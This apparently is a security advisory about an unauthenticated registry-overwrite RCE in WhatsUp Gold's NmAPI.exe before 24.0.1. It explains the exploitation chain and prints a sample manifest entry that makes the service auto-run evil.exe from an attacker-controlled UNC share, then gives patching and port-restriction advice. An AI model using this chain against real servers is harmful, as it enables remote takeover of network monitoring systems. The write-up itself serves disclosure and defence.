A registry overwrite remote code execution (RCE) vulnerability has been identified in NmAPI.exe, part of the WhatsUp Gold network monitoring software.
This vulnerability, present in versions before 24.0.1, allows an unauthenticated remote attacker to execute arbitrary code on affected systems, posing significant security risks.
Vulnerability Details
The vulnerability lies within NmAPI.exe, a Windows Communication Foundation (WCF) application utilized by WhatsUp Gold.
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Specifically, the flaw is found in the UpdateFailoverRegistryValues operation.
This function allows interactions with the Windows registry, enabling an attacker to write or alter registry entries without authentication.
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The operation can be exploited via a netTcpBinding at the endpoint net.tcp://<target-host>:9643. By leveraging this method, attackers can modify registry values under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Ipswitch\.
A key aspect of this vulnerability is the ability to change the InstallDir registry entry to point to a Universal Naming Convention (UNC) path controlled by an attacker, such as \\<attacker-ip>\share\WhatsUp.
Exploit Mechanism
Once the attacker manipulates the registry to redirect the InstallDir to an attacker-controlled network share, the stage is set for further exploitation.
When the Ipswitch Service Control Manager (ServiceControlManager.exe) service restarts—possibly triggered by a system restart or Windows update—it attempts to read various manifest files from the specified UNC path.
This action enables the attacker to define new processes to be executed by including a <ServerProcess> element in the WhatsUpPlatform-PluginManifest.xml file. For example, the attacker can specify:
<ServerProcess Id="28" Assemblyname="\\<attacker-ip>\share\evil.exe" Arguments="" EventName="XXXShutdownEvent" Description="XXX" ShutdownOrder="2">
<NormalStartup StartupType="Automatic" StartupOrder="150" StartupDelay="2"/>
<FailoverStartup StartupType="Manual" StartupOrder="150" StartupDelay="2"/>
</ServerProcess>This configuration results in the automatic execution of a malicious executable (evil.exe) controlled by the attacker.
According to the Tenable report, the release of a Proof-of-Concept (PoC) exploit underscores the urgency for organizations using affected versions of WhatsUp Gold to upgrade to version 24.0.1 or later.
Failure to patch this vulnerability could lead to unauthorized access and control over systems, highlighting the importance of immediate action in securing network monitoring environments. Â
Cybersecurity experts advise implementing network-level mitigations alongside the software update. This includes restricting access to TCP port 9643 to trusted hosts and continuously monitoring for any suspicious registry modifications.
As always, maintaining up-to-date backups and implementing comprehensive intrusion detection systems are essential components of a robust security posture.
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